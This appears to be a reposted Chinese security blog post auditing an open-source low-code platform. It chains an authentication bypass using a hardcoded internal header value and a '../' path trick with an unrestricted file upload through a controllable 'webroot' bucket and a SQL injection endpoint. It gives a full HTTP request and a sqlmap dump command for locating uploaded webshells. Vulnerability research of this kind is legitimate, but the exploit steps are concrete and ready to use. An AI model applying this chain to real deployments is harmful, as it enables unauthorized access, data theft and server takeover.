某次项目中遇到的系统,发现还是开源的,于是就下下来小审一下,从权限绕过到getshell,还是比较有收获。
一、权限绕过
发现很多接口没登录就不能访问,于是直接定位到sessionfilter
第一种:
所以很简单,我们加上这个头就能绕过了
第二种:
//请求路径
String uri = request.getRequestURI();
//校验是否放行
if (noFiltersMatcher.matches(uri)) {
doFilter = false;
}
类似shiro的权限绕过,可以利用static/../je/document/file
绕过
二、文件上传审计
根据关键字匹配很容易可以定位到两个接口
/je/document/file
/je/disk/file
还有其他的,逻辑都差不多
就直接看/je/document/file
前面都是一些参数处理,可以略过,值得关注的是这里有两个参数bucket和dir是可控的
直接往下看到
//保存文件并持久化业务数据
List<FileBO> fileBos = documentBusService.saveFile(fileUploadFiles, userId, metadata, bucket, dir);
跟进进入到接口的实现方法
public List<FileBO> saveFile(List<FileUpload> fileUploadFiles, String userId, JSONObject metadata, String bucket, String dir) {
Calendar now = Calendar.getInstance();
List<FileBO> files = new ArrayList();
Iterator var8 = fileUploadFiles.iterator();
while(true) {
FileUpload fileUpload;
String fileKey;
while(true) {
if (!var8.hasNext()) {
return files;
}
fileUpload = (FileUpload)var8.next();
fileKey = fileUpload.getFileKey();
if (StringUtils.isNotBlank(fileKey)) {
if (this.selectFileByKey(fileKey) != null) {
continue;
}
break;
}
fileKey = JEUUID.uuid();
break;
}
this.log.warn("{} Upload file start ...", fileKey);
String fileName = fileUpload.getFileName();
Long size = fileUpload.getSize();
String contentType = fileUpload.getContentType();
this.log.warn("{} File msg: name({}),size({}),type({}),bucket({}).", new Object[]{fileKey, fileName, size, contentType, bucket});
this.log.warn("{} Start read byte array ...", fileKey);
long currentTimeMillis = System.currentTimeMillis();
byte[] bytes = IoUtil.readBytes(fileUpload.getFile());
this.log.warn("{} Read byte success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis);
try {
Bucket bucketBO = this.fileManager.findBucket(bucket);
DocumentFileDO fileDO = null;
DigestEnum digestEnum = null;
String digestValue = null;
if (this.fileAutoGenerator == null) {
this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance();
}
if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) {
digestEnum = DigestEnum.getDefault();
digestValue = this.fileManager.messageDigest(bytes, digestEnum);
this.log.warn("{} Check file digest.", fileKey);
fileDO = this.fileDAO.selectFileByDigest(digestEnum, digestValue, bucketBO.getBucket());
if (fileDO != null && !this.fileManager.existFile(fileDO.getFilePath(), fileDO.getBucket())) {
fileDO.setDeleted(true);
this.fileDAO.update(fileDO);
fileDO = null;
}
}
if (fileDO == null) {
currentTimeMillis = System.currentTimeMillis();
this.log.warn("{} Save file start ...", fileKey);
FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir);
this.log.warn("{} Save file success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis);
fileDO = new DocumentFileDO();
BeanUtil.copyProperties(fileSaveDTO, fileDO);
String[] splitFolder = fileSaveDTO.getFilePath().split("/");
fileDO.setFolder(fileSaveDTO.getFilePath().replaceAll(splitFolder[splitFolder.length - 1], ""));
fileDO.setContentType(fileUpload.getContentType());
fileDO.setSize(fileUpload.getSize());
if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) {
fileDO.setDigestType(digestEnum.getCode());
fileDO.setDigestValue(digestValue);
}
fileDO.setCreateUser(userId);
fileDO.setModifiedUser(userId);
this.fileDAO.save(fileDO);
}
...
....
......
this.log.warn("{} Upload file end ...", fileKey);
}
}
方法很长,但基本上都是一些赋值取值的操作,其中会判断dir是否为空,如果为空就直接进入到下一个if,因为fileDO没有被操作过,所以进入到if中
再跟进到FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir);
public FileSaveDTO saveFile(String fileName, String contentType, byte[] byteArray, Bucket bucket, String dir) {
ByteArrayInputStream temp = null;
FileSaveDTO var24;
try {
if (this.fileAutoGenerator == null) {
this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance();
}
FileOperate fileOperate = FileOperateFactory.getInstance(bucket);
StringBuilder filePath = new StringBuilder();
String fullName = "";
if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
fullName = fileName;
filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
} else {
if (StringUtils.isNotBlank(dir)) {
filePath.append(dir);
} else {
filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
}
fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
filePath.append("/").append(fullName);
}
String[] splits = fullName.split("\.");
String name = splits[0];
String suffix = splits.length == 1 ? "" : splits[splits.length - 1];
temp = IoUtil.toStream(byteArray);
UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);
FileSaveDTO fileSaveDTO = new FileSaveDTO();
if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
name = dto.getFilePath().split("/")[1];
}
fileSaveDTO.setName(name);
fileSaveDTO.setSuffix(suffix);
fileSaveDTO.setFullName(fullName);
fileSaveDTO.setFilePath(dto.getFilePath());
fileSaveDTO.setFullUrl(dto.getFullUrl());
fileSaveDTO.setBucket(bucket.getBucket());
fileSaveDTO.setSaveType(bucket.getSaveType());
fileSaveDTO.setPermission(bucket.getPermission());
if (this.fileAutoGenerator.thumbnailGenerator()) {
InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix);
if (thumbnail != null) {
UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail);
fileSaveDTO.setThumbnail(thumbnailDto.getFilePath());
}
}
这里首先将bucket对象传入了一个文件操作的工厂类(FileOperateFactory)中去获取实例,我们跟进,
public static FileOperate getInstance(Bucket bucketBO) {
try {
if (INSTANCES.containsKey(bucketBO.getBucket()) && ((FileOperate)INSTANCES.get(bucketBO.getBucket())).isLastVersion(bucketBO.getModifiedTime())) {
return (FileOperate)INSTANCES.get(bucketBO.getBucket());
} else {
FileOperate fileOperate = buildFileOperate(bucketBO);
if (fileOperate == null) {
throw new Exception("文件工具类实例构建失败!");
} else {
INSTANCES.put(bucketBO.getBucket(), fileOperate);
return fileOperate;
}
}
} catch (Exception var2) {
log.info("FileOperate create fail, {}", JSON.toJSONString(bucketBO));
throw new DocumentException(var2.getMessage(), DocumentExceptionEnum.DOCUMENT_FILE_OPERATE_INIT, var2);
}
}
private static FileOperate buildFileOperate(Bucket bucketBO) throws Exception {
SaveTypeEnum saveType = SaveTypeEnum.getDefault(bucketBO.getSaveType());
if (SaveTypeEnum.aliyun == saveType) {
return new FileOperateOSS(bucketBO.getAccessBucket(), bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getUrl(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime());
} else if (SaveTypeEnum.DEFAULT == saveType) {
return new FileOperateLocal(bucketBO.getBasePath(), bucketBO.getModifiedTime());
} else if (SaveTypeEnum.tencent == saveType) {
return new FileOperateTencent(bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getExt1(), bucketBO.getAccessBucket(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime(), bucketBO.getUrl());
} else if (SaveTypeEnum.mongodb == saveType) {
return new FileOperateMongodb(bucketBO.getBasePath(), bucketBO.getModifiedTime());
} else {
String key = "save." + bucketBO.getSaveType();
String className = props.getProperty(key);
Class clazz = Class.forName(className);
Constructor c = clazz.getConstructor(Bucket.class);
return (FileOperate)c.newInstance(bucketBO);
}
}
进入到buildFileOperate方法发现会判断bucket对象的saveType类型,跟到枚举类中发现有这几个
但是这是怎么来的呢,这里我去翻了一下数据库,在je_document_bucket表中
我们可以知道,webroot和disk-oss这两个bucket都是对应defalut类型的。
实例化出来后,继续往下走
StringBuilder filePath = new StringBuilder();
String fullName = "";
if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
fullName = fileName;
filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
} else {
if (StringUtils.isNotBlank(dir)) {
filePath.append(dir);
} else {
filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
}
fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
filePath.append("/").append(fullName);
}
String[] splits = fullName.split("\.");
String name = splits[0];
String suffix = splits.length == 1 ? "" : splits[splits.length - 1];
temp = IoUtil.toStream(byteArray);
UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);
FileSaveDTO fileSaveDTO = new FileSaveDTO();
if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
name = dto.getFilePath().split("/")[1];
}
....
....
if (this.fileAutoGenerator.thumbnailGenerator()) {
InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix);
if (thumbnail != null) {
UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail);
这里就是根据不同情况获取文件路径和文件名,我们后面需要的时候再过来看
我们直接跟进到UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);
这里就会发现,有四个实现类,而我们要getshell,当然是需要选择走本地上传。
所以我们就得控制fileOperate的类型,而这个正是之前FileOperateFactory实例化出来的对象,
跟进工厂类
会走到local
而disk-oss是default
所以会走到local的upload file
当bucket类型为default,就会是
所以就知道,我们控制bucket参数值为webroot
接着,能够上传文件了,但是还不知道路径,所以返回到之前的方法
StringBuilder filePath = new StringBuilder();
String fullName = "";
if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
fullName = fileName;
filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
} else {
if (StringUtils.isNotBlank(dir)) {
filePath.append(dir);
} else {
filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
}
fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
filePath.append("/").append(fullName);
}
这里dir可控,可以直接随便取个名字,就是一个新文件夹,也可以留空,会在document下生成一个/year/yy-mm/格式的文件夹
可以先看看在数据库中结果
然后最麻烦的点就是这个文件名,fileNameGenerator这个方法会用uuid再生成一个文件名,并没有沿用前面生成的fileKey,所以在最终页面回显的时候,看到的fileKey并不是文件名
三、SQL注入
后面去翻了自带的sql文件,发现在je_document_file表中会记录存储上传的文件,包括完整路径,正好之前审计的时候看代码也发现了有很多地方的sql语句都是直接拼接的,可以直接注入,这里我随便找了一个
POST /rbac/im/accessToTeanantInfo HTTP/1.1
Host: xxxxx
Accept-Language: zh-CN,zh;q=0.9
internalRequestKey: schedule_898901212
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: je-local-lang=zh_CN; JSESSIONID=155BD0DA95609068A00408ACF1326C63
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
tenantId=1
利用sqlmap直接跑可以出数据
sqlmap -r 2.txt --level 3 -D "jepaas" -T "je_document_file" --dump --fresh-queries
–fresh-queries是因为sqlmap可能有缓存,数据不刷新,导致找不到文件名。
四、要注意的几个点
一、数据库不一定就是默认的jepass,有可能会变
二、文件上传的bucket不同会影响是否能够在页面访问,比如webroot可以解析到页面上,disk-oss则不行,如下图。并且我尝试了他系统的一些文件也是如此,当然不排除是这个站的一些配置的原因。但是如果碰到这种配置的话就不能够利用disk那个上传接口,因为默认写死了就是disk-oss
所以我个人还是建议采用document这个接口,因为这个接口的bucket是可控的
时间都是能对上的
internalRequestKey: schedule_898901212
header头去访问,不然过不了认证加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):某低代码平台代码审计分析